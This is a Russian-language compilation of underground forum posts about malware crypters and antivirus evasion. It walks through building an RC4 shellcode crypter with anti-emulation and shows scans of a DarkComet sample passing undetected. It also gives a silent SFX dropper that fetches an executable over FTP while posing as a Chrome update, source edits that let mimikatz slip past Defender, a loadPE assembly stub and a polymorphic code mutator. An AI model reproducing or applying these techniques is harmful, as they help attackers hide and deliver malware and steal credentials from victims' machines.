Изначально, я хотел разместить это у себя, сделал проект, но в силу того-что у меня обратная связь пользователей практически никакая, думаю тут будет больше интересных обсуждений, чем у меня.)
Итак хватит воды, что ждет вас в этой статье (Оглавление):
1)Введение. Теория. Что есть крипторы в 2020 году и для чего они нужны.
2)Какие они, должны-быть эти крипторы.
3)Маленький демострационный проект и описание как и что делается.
4)Супер-мега блокбастер. Вирус против антивирусов. Итоги.
1)Введение. Теория. Что есть крипторы в 2020 году и для чего они нужны.
Крипторы, их можно также назвать протекторами, а также если говорить про реалии 2020 года, их также можно назвать обфускаторами, в зависимости от типа зверька, которого мы хотим скрыть, но обо всем по порядку.
В далекие наверно уже 2000 – 2010 года, крипторы делали для скрытия уже известного в базе вируса, смысл был такой, есть вирус, который детектится сигнатурно, для его скрытия делали следующее:
Писался загрузчик (stub) – Это минимальная программа, который из оверлея, специально созданной секции, или ресурсов загружала шифрованного зверька, делала антиэмуляцию и запускала зверька в памяти.
По сути криптор состоит из двух частей:
Это все работало, пока антивирусы не стали применять новые технологии, которые практически убили такого типа крипторы, а именно это детекты в облаке и детекты по поведению и детект после запуска.
Что-бы дальше было понятно, немного расскажу про виды детекта, а потом про виды крипторов уже в 2020 году и какие они должны быть.)
Итак виды детектов антивирусов:
1.Сигнатурный детект.
Тут всё и просто, и сложно. Сигнатура может-быть по определённой контрольной
сумме, например антивирус считает контрольную сумму файла (CRC32, MD5 и т.д.),
и в случае если такая сумма совпала в базе. То выдаётся детект.
Это называется «точечный детект» и используется часто в «облаках», что
позволяет быстро выявить угрозу и нейтрализовать её.
Но а действительно удобно, та-же автоматика может задетектить угрозу по каким-
то признакам и быстро добавить контрольную сумму в базу.
Но возникает проблема, что обойти это может даже трёхлетний ребёнок, добавив
например один байт в конец файла и контрольная сумма уже будет другой.
Также, сигнатурный детект может-быть и на часть файла, например на какую-то функцию зверька.
2.Эмуляция кода.
По простому, антивирус исполняет ваш код в момент сканирования и если находит какие-то касяки, например «Непонравилась API» или обнаружена сигнатура вируса, или кусок такой сигнатуры, то будет детект.
Ещё пример (мы этот пример разберём ниже, чуть позже), вы можете написать протектор, который например из дата-секции будет брать шифрованный вирус, а далее расшифровывать его, например в какой-то буфер в оперативной памяти. Казалось-бы, вирус шифрованый и антивирус его не должен детектить.
А-нет, эмулятор расшифрует код и задетектит вирус. В общем-то для этого и нужен эмулятор кода.
3.Детект при запуске.
Всё-что выше, мы разбирали так-называемый «статический детект», т.е. детект, который выдаётся до запуска файла, такой детект будет если вы просканируете файл сканером, или зальёте например на вирустотал и т.д.
Но нужно ещё сказать и про динамический детект. Это детект при запуске файла. Как он формируется ?
У всех антивирусов по разному, например у касперского есть критерии по которому может-быть детект при запуске, например часть таких критериев: Создаёт-ли вирус процессы и как делает это, добавляется-ли вирус в автозапуск, как дербанит сеть вирус и т.д.
Ну тут понятно, что даже при обходе сигнатурного детекта и эмулятора, если вирус по тупому крадёт пароли, создаёт скрытые процессы, всё это пересылает по сети, делает хук на клавиатуру, да ещё и добавляет себя в автозагрузку, то думаю детект не заставит себя ждать !
К тому-же, у многих антивирусов, у таких как нод и др. веб, есть так называемый детект в памяти, т.е. антивирус расшифровывает код до запуска процесса и проверяет его. Да это проблема, т.к. перед запуском нового процесса код должен-быть расшифрован.
4.Еще раз про облако и «искусственный интелект».
Ошибочно думать, что облако – Это только детект по контрольной сумме. Нет это достаточно сложная система, основанная на ИИ.
Например антивирус может отсылать полностью зверька в «виртуальноую лабораторию», где произойдет запуск зверька и ИИ определит вирус-ли это или нет, по разным критериям, будь это репутация, где распространяется зверек и т.д.
Также например, как у касперского может происходить и автоматическое помещение программы в определенную группу, например «программа для удаленного управления» и т.д., также автоматически происходит и установка «репутации программы».
**Поэтому у современных АВ, аналитики выполняют либо анализ по запросу, либо если у ИИ возникает какие-то спорные моменты, то зверек перейдет аналитику уже.)))
2)Какие они, должны-быть эти крипторы.**
Фу-фу, наконец-то перейдем к самим крипторам уже.
Итак вначале виды крипторов в 2020 году:
1.Натив крипторы:
Ну это крипторы, которые должны криптовать зверьков, которые написаны на нативных языках, таких-как С/С++, ассемблер, Delphi и т.д.
Также крипторы могут криптовать разные разрядности зверьков, например есть крипторы для x86, а есть x64.
Мы рассмотрим на практике именно такой вид криптора, для других крипторов, должны писаться отдельные статьи.
2.Крипторы .NET и C#:
Как видно из названия, эти крипторы криптуют только .NET и C#.
Хорошо будет, если после этой статьи появятся статьи по крипторам C# и .NET.
На самом деле на том-же C#, можно писать хорошую малварь, ничего против шарпов не имею, но я низкоуровневый программист, поэтому мало что скажу про шарпы и дот нет, максимум что там писал, это гуй…)
Может-быть в будущем в зависимости от задач, ближе познакомлюсь с шарпами, но пока-что таких задач к сожалению нет.
3.Крипторы скриптовых языков:
Это по сути обфускаторы, например попадались на глаза обфускаторы батников, java и т.д.
Интересно, что в таких крипторах также используют антиэмуляцию, в виде задержек sleep и т.д.)))
Много про эти виды крипторов тоже писать не буду, т.к. это дело отдельной статьи.
Итак, 2020 год, какие должны-быть крипторы, чтобы выжить:
Современные антивирусы, даже уровня виндового дефендера, имеют не хилые технологии, что-бы свести на нет распространение практически любого вируса.
Но тем не менее, если использовать крипторы правильно, это максимально усложнит детект автоматики, а соответственно увеличит время жизни зверька и уменьшит время чистки следующего билда зверька.
Итак предназначение криптора в 2020 году:
Если раньше крипторы использовались для обхода детекта, то в 2020 году, криптор нужно использовать уже для усложнения детектов автоматики, смысл сделать так что-бы автоматика не добралась до самого зверька, при этом под детект попадала минимальная часть криптора, для автоматизации и ускорения чистки самого криптора.
Как-же это сделать ?
Есть концепт использования шелл-кодов и обфускаторов кодов.
merdock – Про это обращал внимание, на экспе, когда-то давно, но что-то развитие тема не получила, хотя многие зверьки ипользуют это, про это ниже.
Jeffs – Создал здесь тему про обфускаторы си-кода, про обфускацию ниже.
**Итак суть самого концепта:
Основная идея** - Это шифровка и скрытие основных частей криптора, например можно пошифровать модуль криптора, который отвечает за запуск зверька в памяти, пошифровать модуль антиэмуляции и т.д.
Эти шифрованные части можно хранить в ресурсах, дата-секции, или вообще загружать по сети.)))
Тем самым стаб будет минимален, а все остальное - это пошифрованные шелл- коды...
Шифрованные части можно прятать например в картинку и размещать на каком-то ресурсе, либо на ломанном сайте.
Пошифрованные части криптора, ну очень сложно задетектить автоматикой, также добраться непосредственно до вашего зверька автоматика не сможет.
В итоге детект будет на часть криптора, которая отвечает за запуск уже шелл- кода, а это как праило 15-30 строк Си-кода, тут уже выходит на первый план обфускаторы и генераторы мусорного Си-кода.
Если все это автоматизировать, билды зверьков будут жить долго и чистка будет происходить достаточно быстро.)))
3)Маленький демострационный проект и описание как и что делается.
Для демонстрации этого концепта, недавно написал демонстрационный проект:
Итак, что получилось:
Решение состоит из двух проектов:
1.Первый проект LoadPeToShell - Переводит в шифрованный шелл-код модуль LoadPe, по сути создаёт заголовочный файл "loadpe.h", с шифрованным шелл- кодом.
LoadPe - Это основной модуль криптора, по сути там все.)
Антиэмуляция происходит путем вызова функции close по её хешу, то-что должна возвратить функция, это код ошибки ESTALE, на основе этого формируется ключ для расшифровки и расшифровывается пейлоад и запускается...
Немного каснусь тему антиэмуляции , вообще по хорошему также написать отдельную статью про это дело.)
Итак антиэмуляция бывает, как интелектуальная с точки срения реализации, так и дерьмовая.
Дерьмовая антиэмулция по моему мнению, это то-что использует атаки на ресурсы эмулятора, да у эмулятора антивируса ограничины ресурсы и если сделать задержку например 2 секунды, или делать какие-то ресурсоемкие расчёты, для получения ключа расшифровки, то скорей-всего эмулятор антивируса пропустит эту задержку и если использовать этот прием, то будет фуд.)
Но данный прием дерьмовый по моему мнению, т.к. для некоторых зверьков критична задержка, например для запуска кейлоггера и т.д.
Да и интеллектуального тут ничего нет, если говорить про малварь, как искусство, какое-то извините говно…)
Более интелектуальный подход и самый простой, как в этом примере проверять например коды ошибок API, и на основе их уже что-то делать.
Есть и другие методы, но обсуждение антиэмуляции, лучше вынести в отдельную статью.)))
Также в LoadPeToShell шифруется пейлоад и создается заголовочный файл "payload.h".
Алгоритм шифрования RC4.
2.Второй проект. Stub – Это уже сам проект криптора.
Где происходит расшифровка шелл-кода из дата секции и запуск этого шелл-кода, пример:
- Расшифровка шелл-кода:
Code:Copy to clipboard
decRC4(key_to_dec, 4, loadpe, sizeof(loadpe)-1);
- Запуск шелл-кода:
Code:Copy to clipboard
uint32_t ret = (*(uint32_t(*)(PVOID, DWORD))v_code)(payload, size_peyload);
В сам шелл-код нужно передать буфер шифрованного зверька и размер.
Антиэмуляция, расшифровка и запуск, уже в шелл-коде.)))
Как это сделано, можно глянуть в исходнике, который выложен на гитхабе: https://github.com/XShar/shell_crypor_framework
Как пользоваться:
1)В Release положить файл, который нужно закриптовать с именем PayloadExe.exe.
2)Запустить файл "LoadPeToShell.exe".
3)Собрать проект в Visual Studio C++.
Получится файл в Release "stub.exe".
**Это и есть ваш криптованный зверек.
Доработка, кто хочет использовать в комерсе:**
1)Нужно создать генератор мусора для стаба и обфускатор си-кода. Можно использовать готовые движки, ну собственно если автоматизировать этот процесс, чистка будет весьма быстрой.
2)В стабе для скрытия VirtualAlloc я использую проект lazy_importer, рекомендую отказаться от него и вообще нужно отрефакторить код, писалось на скорую руку, опять-же качество кода желает лучшего, но для демонстрации концепта подойдет.
3)Сам шелл-код, как и криптованного зверька можно прятать в картинках на сайта, или в любом другом месте, тут просто опять-же для демонстрации концепта, в дата секции.
4)Супер-мега блокбастер. Вирус против антивирусов. Итоги.
Для демонстрации, что концепт работает, на момент написание данной статьи, прилагаю скан на dyncheck.com:
1)На безобидный файл, статик детект:
2)Динамический детект, на безобидный файл:
Ссылка на скан:https://dyncheck.com/scan/id/fba0cc6c263f19b1998f8bee847c9c26
3)Динамический детект на драккомет, статик детект также фуд.)))
Ссылка на скан https://dyncheck.com/scan/id/08b78746eb632b6311f7ae25defa308f
То-что с восклицательным знаком, это битый детект, виндовый дефендер не детектит вроде…)
Надеюсь данная статья будет полезна.
Удаче всем и по возможности занимайтесь полезной разработкой, а не малварью в комерс.)))
Сорцы старые, но для изучение будет интересно.
Скачать
Пароль: xss.is
Malzilla: Malware hunting tool
Тулза декодирования JS кода.
Полезна при иследованиях криптованых фреймов и сплоитов...
Надо передать прогеру ТЗ для крипта зевса. А именно как убрать чтобы не показывало что бот не криптованный? И как седлать чтобы он работал после крипта, то есть как я понял выплёвывал екзе и удалялся куда попал.
перепробовал кучу крипторов, тесты проводил как на calc.exe так и на билдах ботов. При запуске криптованого файла вылетает
Run-time error "9": Subscript out of range
Показания antiscan.me
Scan your file online with multiple different antiviruses without distributing the results of your scan.
antiscan.me
1. Нужен FTP сервер и на него нужно загрузить файл что будет подгружать лоадер.
2. Создаём тхт файл называем "ftp" в него прописываем:
Code:Copy to clipboard
ip сервера/хостинга, или его ссылка. [ Пример: 222.222.2.2 или rovilov.com ]
Логин от FTP. [Пример: vasapro777]
пароль [например: hyipizda]
lcd C:\Program Files [Путь скачивания файла]
binary
get Rovilov.exe [сюда пишем имя файла и расширение]
quit
Пример того что получим:
Code:Copy to clipboard
rovilov.com
777777
hyipizda
lcd C:\Program Files
binary
get rovilov.exe
quit
3. Создаём файл vbs.vbs и прописываем в него:
Code:Copy to clipboard
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "(fud).cmd" & Chr(34), 0
Set WshShell = Nothing
4. Создаём файл под названием 112.cmd и пишем в него:
Code:Copy to clipboard
Echo OFF
ftp -s:ftp.txt
Start rovilov.exe [тут пишите имя загружаемого файла]
Сделав все выше сказанные шаги получим:
Теперь чтобы это всё работало нужно создать sfx архив с методом сжатия -
Максимальный, а так же добавляем комментарий:
Code:Copy to clipboard
ath=C:\Program Files
Setup=vbs.vbs
Silent=1
Overwrite=1
Update=U
Title:-Chrome [Пишем под что маскируем файл]
Text
{
Updating...
}
После создания архива получим лоадер весом 300кб +
Пробовал с DC rat стучит хорошо
извиняюсь что влажу но с чего ты взял что он должен тебе 100$ ? кодеров если
он конечно кодер какие бы они небыли тоже уважать нужно так как они тоже
тратят свое время, я ни в коей степени данного криптера не защищаю просто
поделился чисто своим мнением. Да я понимаю он пиздабол то что говорит что
деф обходит а по факту не обходит)) Манибек он должен сделать так как условие
не было выполнено! Но это решать только админу.
Мало кто из кодеров сможет обойти деф стабовым криптом. ( потому что этот
метод херня ) да и не стоить ждать чуда крипта за 10$ еще и чтоб деф
обходил. Максимум за такую сумму можно только скантайм убрать а в рантайме
будет ёлка, самое важное в услуге крипт малвари это сделать чистый
рантайм. Большинство точнее почти все криптеры забивают на это потому что
это по сути сложно и для них это геморно.
Привет народ!
Надеюсь, что не ошибся веткой, но лучше места не нашел. По мотивам www.youtube.com/watch?v=9pwMCHlNma4
В видео описан сам подход и он работает. Дефендер же тупо перестает видеть мимикатца и если дамп на тачке не отключен, то работает все на ура. На данный момент, вот какие изменения необходимо произвести в сорсах:
Заменить все упоминания mimikatz. Замену делать по всему проекту с !!
учетом регистра:
Примерно 100 замен: mimikatz
Примерно 200 замен: MIMIKATZ
Т.к. заодно будут изменены ссылки на файлы из проекта - не забываем их переименовать.
Отредактировать *.rc файл, убрать все ненужное или заменить тексты на свои
Произвести замены:
это KiwiAndRegistryTools на это KIwiANdregiStrYToOls 2 раза
это wdigest.dll на это WdigESt.DlL 2 раза
Теперь вручную! Находим строку
{kuhl_m_ts_multirdp, L"multirdp ", L"[experimental] patch Terminal Server
service to allow multiples users"},
и заменям "multirdp " на "muLtirDp ". Получается такая строка
{kuhl_m_ts_multirdp, L"muLtirDp ", L"[experimental] patch Terminal Server
service to allow multiples users"},
{kuhl_m_sekurlsa_all, L"logonPasswords ", L"Lists all available providers
credentials"},
и заменяем "logonPasswords" на "logOnPasSwOrdS ". Получается такая строка
{kuhl_m_sekurlsa_all, L"logOnPasSwOrdS ", L"Lists all available providers
credentials"},
{kuhl_m_sekurlsa_credman, L"credman ", L"List Credentials Manager"},
и заменяем "credman" на "cRedmAn ". Получается такая строка
{kuhl_m_sekurlsa_credman, L"cRedmAn ", L"List Credentials Manager"},
и в дополнение на всякий случай замените
это " credman" на " cREdmAn". Поиск и замена именно с кавычками!!! А
то он функции похерит!
Создаем файл netapi32_ws16.def с содержимым:
I_NetServerReqChallenge @ 65
I_NetServerAuthenticate2 @ 59
I_NetServerTrustPasswordsGet @ 68
Собираем либу:
lib /DEF:netapi32_ws16.def /OUT:netapi32_ws16.dll
И заменяем ею ту, что идет в комплекте с мимкатцом (netapi32.min.lib)
Ребилдим проект и готово! Мимикатц байпассит дефендера.
Здрасте. сабж вытащил из некого закриптованного сэмпла, найденного в сети может кому нибудь пригодится, грузит екзе из памяти, так же есть какие то признаки обработки TLS.
Пример использования:
Code:Copy to clipboard
proc EP
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT+MEM_RESERVE
push 1135
push 0
call [VirtualAlloc]
push 1135
push ldr; собсно сабж
push eax
call [memcpy]
push size_of_file; размер екзе
push file_data; массив с екзе
call eax
endp
Spoiler: 20
http://www.sendspace.com/file/9k8ils
P.S - пытался выложить сабж на соседнем форуме fu*kav.ru, но там никто ничего не понял и закидали гамном быть может здесь это кому нибудь пригодится
Когда-то давно я игрался с кодогенерацией и сделал этот мутатор loadPE шеллкодов. Я понимаю, что создаваемый код убог, но сама идея интересна. LLVM IR для бедных Каждый раз мутатор выдаёт другой код. Не воспринимайте серьёзно, потому что код смишнявый
Изначально написано для украинского форума программистов
platform.js файл
Code:Copy to clipboard
var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;
exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG;
exports.LOCK_VAR = LOCK_VAR;
const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;
const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE;
const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;
const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;
const MEM32 = 0, MEM16 = 1, MEM8 = 2;
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;
function unchainMem(s) {
var r="";
if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]);
return(r);
}
function unchainConst(s){
var r = "";
if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]);
return(r);
}
function BytesToDword (B1, B2, B3, B4) {
var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
return(iResult>>>0);
};
exports.BytesToDword = BytesToDword;
Number.prototype.toHex = function() {
return('0x'+this.toString(16)); };
function arrRndValue (arr) {
return(arr[Math.floor(Math.random()*arr.length)]);};
function arrRndOrderConact(array){
return(_.shuffle(array).join(''));};
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };
RegisterProto = {
lock: function() { this.using = true;},
unlock: function() { this.using = false; },
toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},
isGeneral: function(){return(this.name[3] !== null);}};
SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};
module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;
SetRegisterProto = {
arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],
has: function (i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
add: function(i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
remove: function(i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0); return(true);},
toArrayIndex: function() {
var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
toArrayIndexInverse: function() {
var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
getInt: function () {return(this.num);},
setInt: function (i) {this.num = i; return (true);},
not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};
module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;
function Registers() {
var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'],
['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
this.container = []; this.used = new SetRegister();
_.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};
RegistersProto = {
objToIndex : function (a) {
var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},
arrIndexToArrObj : function (a) {
if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null);
return(_.map(a, function(x) { return(this.container[x]); }, this))},
getIndexByName : function (sName){
var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},
getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},
getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },
getArrFreeName : function () {return(this.used.toArrayNamesInverse());},
getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},
getUsedIndex : function () {return(this.used.toArrayIndex());},
getUsedNames : function() {return(this.used.toArrayNames());},
getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
getFreeIndex : function(flags) {
var rs = this.getArrFreeObj(), r, res;
if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this);
if (!_.size(rs)) return(NaN);
r = arrRndValue(rs);
if (flags & LOCK_REG) r.lock();
res = this.objToIndex(r);
if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res);
return(res);
},
getFreeObj : function(flags) {
var rs = this.getArrFreeObj(), r;
if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this);
if (!_.size(rs)) return(null);
r = arrRndValue(rs);
if (flags & LOCK_REG) r.lock();
if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r));
return(r);
}
}
module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;
function Variable (sName, iSize) {
this.name = sName; this.use = false; this.size = iSize;};
module.exports.Variable = Variable;
function Variables () {
this.container = new Array();};
VariablesProto = {
add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},
isExists : function (sName) {
return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},
toString : function (sName) {
return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+' local '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},
getAsmType : function(i) {
var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');}};
module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.ptototype = VariablesProto;
//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
var f;
this.regs = new Registers(); this.vars = new Variables(); this.name = sName;
this.callconv = sCallConv;
if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
this.tableCmd = [];
f = function (p, f) {
f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
this.tableCmd.push(['inc', ['r8'], 1, f]);
this.tableCmd.push(['inc', ['r16'], 1, f]);
this.tableCmd.push(['inc', ['r32'], 1, f]);
this.tableCmd.push(['inc', ['m32'], 1, f]);
f = function (p, f) {
f.emit(['add', p[1].s, p[0].s]); return(true);};
this.tableCmd.push(['add', ['c8', 'r8'], 2, f]);
this.tableCmd.push(['add', ['c16', 'r16'], 2, f]);
f = function (p, f) {
f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
f = function (p, f) {
f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
this.tableCmd.push(['load', ['m32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['r32', 'm32'], 2, f]);
this.tableCmd.push(['load', ['r32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['c32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
f = function (p, f) {
f.emit(['push', p[0].s, ';', 'pop', p[1].s]);
return(true);
};
this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
f = function (p, f) {
f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]);
return(true);
};
this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
f = function(p, f) {
f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
return(true);
};
this.tableCmd.push(['checkz', ['r8'], 1, f]);
this.tableCmd.push(['checkz', ['r16'], 1, f]);
this.tableCmd.push(['checkz', ['r32'], 1, f]);
f = function(p, f) {
f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]);
return(true)
};
this.tableCmd.push(['loadz', ['r32'], 1, f]);
f = function(p, f) {
f.emit(['movzx', p[1].s, p[0].s]);
return(true)
};
this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
f = function(p, f) {
var r;
if (_.random(1)) {
f.emit(['cmp', p[1].s, p[0].s]);
} else {
r = f.getFreeReg(LOCK_REG);
f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
f.emit(['cmp', r.s, (p[0].i).toHex()]);
r.o.unlock();
};
return(true);
};
this.tableCmd.push(['check', ['c16', 'm16'], 2, f]);
f = function(p, f) {
f.emit(['cmp', p[1].s, p[0].s]); return(true);
};
this.tableCmd.push(['check', ['c32', 'm32'], 2, f]);
this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
};
ExecutionEnvironmentProto = {
emit : function (line) {
ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
_.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax);
this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s=' '+pad(x[0], 8);
if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},
finalize : function(r) {
if (this.callconv == 'stdcall') {
var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
regz = this.regs.getUsedIndex();
if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);}
else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); };
} else {
this.vars.add('iResult');
if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
};
if (bSaveUsedRegs) {
this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return(' push '+i+'\n'+memo+' pop '+i+'\n');}, this.code, this);}
else {this.code = ' pusha\n'+this.code+' popa\n';};
if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
this.code = 'proc '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+' ret\nendp\n';
return (true);};
return(false);},
setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },
toString : function () {return(this.code);},
toType : function(t, v) {
var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i)))
return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
